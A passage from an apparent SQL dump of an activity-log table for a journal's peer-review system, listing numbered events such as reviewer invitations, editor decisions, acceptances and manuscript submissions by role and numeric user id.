Manuscript',10055,'Editor',1406),(103771,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10055,'Editor',1406),(103772,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10055,'Publisher',984),(103774,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10055,'Publisher',984),(103787,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10265,'Publisher',673),(103788,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',9980,'Publisher',984),(103791,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10882,'Publisher',988),(103793,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10882,'Publisher',988),(103794,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10882,'Publisher',988),(103795,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10882,'Publisher',988),(103796,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10882,'Publisher',988),(103844,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(103845,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(103846,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(103847,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(103848,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(103849,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(103850,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(103851,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(103852,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(103853,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(103854,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(103855,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(103908,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10873,'Publisher',48),(103909,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10873,'Publisher',48),(103910,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10873,'Publisher',48),(103911,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10873,'Publisher',48),(103912,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10873,'Publisher',48),(103928,'0000-00-00 00:00:00','Manuscript Updated',10371,'Publisher',84),(103939,'0000-00-00 00:00:00','Reviewer has submitted comments',10665,'Reviewer',11520),(103940,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10665,'Publisher',48),(103945,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10970,'Publisher',972),(103983,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10975,'Author',11512),(103994,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9639,'Editor',1667),(103997,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9639,'Editor',1667),(103998,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9639,'Publisher',274),(104023,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9639,'Publisher',274),(104024,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10979,'Author',11515),(104025,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10980,'Author',11516),(104028,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10925,'Publisher',972),(104042,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(104043,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(104044,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(104045,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(104046,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(104047,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(104048,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(104056,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10994,'Author',11523),(104058,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10996,'Author',11524),(104063,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10409,'Editor',194),(104064,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10409,'Editor',194),(104065,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10409,'Publisher',48),(104071,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10409,'Publisher',48),(104092,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(104093,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(104094,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(104095,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(104096,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(104097,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104098,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104099,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104100,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104101,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104122,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10930,'Publisher',984),(104123,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10234,'Publisher',248),(104133,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10483,'Publisher',1009),(104134,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10483,'Publisher',1009),(104135,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10483,'Publisher',1009),(104159,'0000-00-00 00:00:00','Publisher : Notified Editor',10865,'Publisher',319),(104160,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10865,'Editor',1069),(104161,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10865,'Editor',1069),(104162,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10865,'Publisher',319),(104163,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11008,'Author',11533),(104179,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(104180,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(104181,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(104182,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(104183,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(104184,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(104185,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(104186,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(104187,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104188,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104189,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104190,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104191,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104192,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104193,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104194,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104195,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104196,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104197,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(104198,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104199,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104200,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104201,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104202,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104203,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104204,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104205,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104206,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104207,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10275,'Publisher',274),(104208,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10275,'Publisher',274),(104209,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10275,'Publisher',274),(104210,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10275,'Publisher',274),(104211,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10275,'Publisher',274),(104212,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10275,'Publisher',274),(104213,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10275,'Publisher',274),(104298,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10119,'Publisher',84),(104299,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10150,'Publisher',84),(104300,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10149,'Publisher',84),(104303,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11025,'Publisher',319),(104324,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11030,'Publisher',319),(104325,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10144,'Editor',194),(104326,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10144,'Editor',194),(104327,'0000-00-00 00:00:00','Reviewer has submitted comments',10144,'Reviewer',11520),(104360,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10144,'Publisher',48),(104361,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10970,'Publisher',972),(104365,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10979,'Publisher',48),(104366,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10979,'Publisher',48),(104367,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10979,'Publisher',48),(104368,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10979,'Publisher',48),(104369,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10979,'Publisher',48),(104370,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10979,'Publisher',48),(104378,'0000-00-00 00:00:00','Reviewer has submitted comments',10838,'Reviewer',15588),(104379,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11031,'Author',11549),(104411,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11038,'Author',11557),(104413,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11040,'Author',11559),(104415,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10980,'Publisher',84),(104416,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10980,'Publisher',84),(104417,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10980,'Publisher',84),(104418,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10980,'Publisher',84),(104419,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10980,'Publisher',84),(104420,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10980,'Publisher',84),(104421,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10980,'Publisher',84),(104422,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10980,'Publisher',84),(104423,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10980,'Publisher',84),(104424,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10980,'Publisher',84),(104425,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10980,'Publisher',84),(104426,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10980,'Publisher',84),(104427,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10980,'Publisher',84),(104428,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10980,'Publisher',84),(104487,'0000-00-00 00:00:00','Publisher : Notified Editor',10838,'Publisher',85),(104488,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(104508,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',9269,'Publisher',1009),(104554,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11049,'Author',11567),(104578,'0000-00-00 00:00:00','Publisher has Invited Reviewer',3562,'Publisher',48),(104579,'0000-00-00 00:00:00','Publisher has Invited Reviewer',3562,'Publisher',48),(104580,'0000-00-00 00:00:00','Publisher has Invited Reviewer',3562,'Publisher',48),(104581,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',3562,'Editor',194),(104618,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10838,'Editor',1251),(104619,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10838,'Editor',1251),(104620,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10838,'Publisher',85),(104669,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',3562,'Publisher',48),(104670,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10483,'Publisher',1009),(104671,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10483,'Publisher',1009),(104688,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11057,'Author',11574),(104740,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10994,'Publisher',248),(104746,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10802,'Publisher',376),(104747,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10674,'Publisher',376),(104748,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10505,'Publisher',376),(104749,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10437,'Publisher',376),(104750,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10400,'Publisher',376),(104751,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',10802,'Publisher',376),(104752,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',10674,'Publisher',376),(104753,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',10505,'Publisher',376),(104754,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',10437,'Publisher',376),(104755,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',10400,'Publisher',376),(104781,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11008,'Publisher',84),(104782,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11008,'Editor',221),(104783,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10980,'Editor',221),(104784,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11008,'Editor',221),(104785,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10980,'Editor',221),(104786,'0000-00-00 00:00:00','Editor has Invited Reviewer',11008,'Editor',221),(104787,'0000-00-00 00:00:00','Editor has Invited Reviewer',11008,'Editor',221),(104788,'0000-00-00 00:00:00','Editor has Invited Reviewer',11008,'Editor',221),(104789,'0000-00-00 00:00:00','Editor has Invited Reviewer',11008,'Editor',221),(104790,'0000-00-00 00:00:00','Editor has Invited Reviewer',11008,'Editor',221),(104791,'0000-00-00 00:00:00','Editor has Invited Reviewer',11008,'Editor',221),(104792,'0000-00-00 00:00:00','Editor has Invited Reviewer',11008,'Editor',221),(104793,'0000-00-00 00:00:00','Editor has Invited Reviewer',11008,'Editor',221),(104794,'0000-00-00 00:00:00','Editor has Invited Reviewer',11008,'Editor',221),(104795,'0000-00-00 00:00:00','Editor has Invited Reviewer',11008,'Editor',221),(104796,'0000-00-00 00:00:00','Editor has Invited Reviewer',11008,'Editor',221),(104797,'0000-00-00 00:00:00','Editor has Invited Reviewer',11008,'Editor',221),(104798,'0000-00-00 00:00:00','Editor has Invited Reviewer',11008,'Editor',221),(104799,'0000-00-00 00:00:00','Editor has Invited Reviewer',11008,'Editor',221),(104800,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10143,'Publisher',274),(104801,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10139,'Publisher',274),(104802,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10116,'Publisher',274),(104807,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11073,'Author',11584),(104813,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(104814,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(104815,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(104816,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(104817,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(104818,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(104819,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(104820,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(104821,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10452,'Publisher',274),(104822,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(104823,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(104824,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(104825,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(104826,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(104827,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(104828,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(104829,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104830,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104831,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104832,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104833,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104834,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104835,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104836,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(104841,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10116,'Editor',1666),(104842,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10116,'Editor',1666),(104843,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10139,'Editor',1668),(104844,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10059,'Editor',1668),(104845,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10275,'Editor',1668),(104846,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10178,'Editor',1668),(104847,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10452,'Editor',1668),(104848,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10139,'Editor',1668),(104849,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10143,'Editor',1665),(104850,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10143,'Editor',1665),(104851,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10143,'Publisher',274),(104852,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10139,'Publisher',274),(104853,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10139,'Publisher',274),(104854,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104855,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104856,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104857,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104858,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104859,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104860,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104861,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104862,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104863,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104864,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104865,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104866,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104867,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104868,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104869,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104870,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104871,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104872,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104873,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104874,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104875,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104876,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104877,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104878,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104879,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104880,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(104882,'0000-00-00 00:00:00','Reviewer has submitted comments',10147,'Reviewer',12022),(104895,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11040,'Publisher',84),(104903,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104904,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104905,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104906,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104907,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104908,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104909,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104910,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104911,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104912,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104913,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104914,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104915,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104916,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104917,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104918,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11040,'Publisher',84),(104924,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11038,'Publisher',48),(104925,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11040,'Editor',221),(104926,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11040,'Editor',221),(104927,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11031,'Publisher',48),(104928,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11038,'Publisher',48),(104929,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11038,'Publisher',48),(104930,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11038,'Publisher',48),(104931,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11038,'Publisher',48),(104932,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11038,'Publisher',48),(104933,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11038,'Publisher',48),(104934,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11038,'Publisher',48),(104935,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11031,'Publisher',48),(104936,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11031,'Publisher',48),(104937,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11031,'Publisher',48),(104938,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11031,'Publisher',48),(104939,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11031,'Publisher',48),(104940,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11031,'Publisher',48),(104941,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11031,'Publisher',48),(104942,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11031,'Publisher',48),(104948,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11083,'Author',11593),(104949,'0000-00-00 00:00:00','Reviewer has updated comments',10452,'Reviewer',17682),(104950,'0000-00-00 00:00:00','Reviewer has submitted comments',9639,'Reviewer',17682),(104951,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11084,'Author',11594),(104952,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11085,'Author',11595),(104957,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11049,'Publisher',972),(104958,'0000-00-00 00:00:00','Publisher : Notified Editor',10452,'Publisher',274),(104959,'0000-00-00 00:00:00','Publisher : Notified Editor',10147,'Publisher',274),(104961,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',10452,'Editor',1668),(104962,'0000-00-00 00:00:00','Publisher : Notified Author',10452,'Publisher',274),(104976,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(104977,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(104978,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(104979,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(104980,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(104981,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(104982,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(104986,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11025,'Publisher',319),(104994,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11090,'Publisher',319),(105001,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11030,'Editor',1069),(105002,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11025,'Editor',1069),(105003,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10746,'Editor',1069),(105004,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11025,'Editor',1069),(105005,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11030,'Editor',1069),(105006,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10746,'Publisher',319),(105007,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11025,'Publisher',319),(105008,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11030,'Publisher',319),(105009,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11092,'Author',11600),(105035,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10200,'Editor',222),(105036,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11093,'Author',11601),(105039,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11049,'Publisher',972),(105040,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11049,'Publisher',972),(105041,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11049,'Publisher',972),(105042,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11049,'Publisher',972),(105050,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11057,'Publisher',988),(105051,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11057,'Publisher',988),(105052,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11057,'Publisher',988),(105053,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11057,'Publisher',988),(105054,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10838,'Publisher',85),(105078,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11101,'Author',11607),(105082,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10268,'Publisher',984),(105083,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10268,'Publisher',984),(105084,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10268,'Publisher',984),(105085,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10268,'Publisher',984),(105086,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10268,'Publisher',984),(105087,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10268,'Publisher',984),(105088,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10268,'Publisher',984),(105089,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10268,'Publisher',984),(105090,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10268,'Publisher',984),(105091,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10268,'Publisher',984),(105092,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10268,'Publisher',984),(105093,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10268,'Publisher',984),(105098,'0000-00-00 00:00:00','Publisher has been Accepted Articles  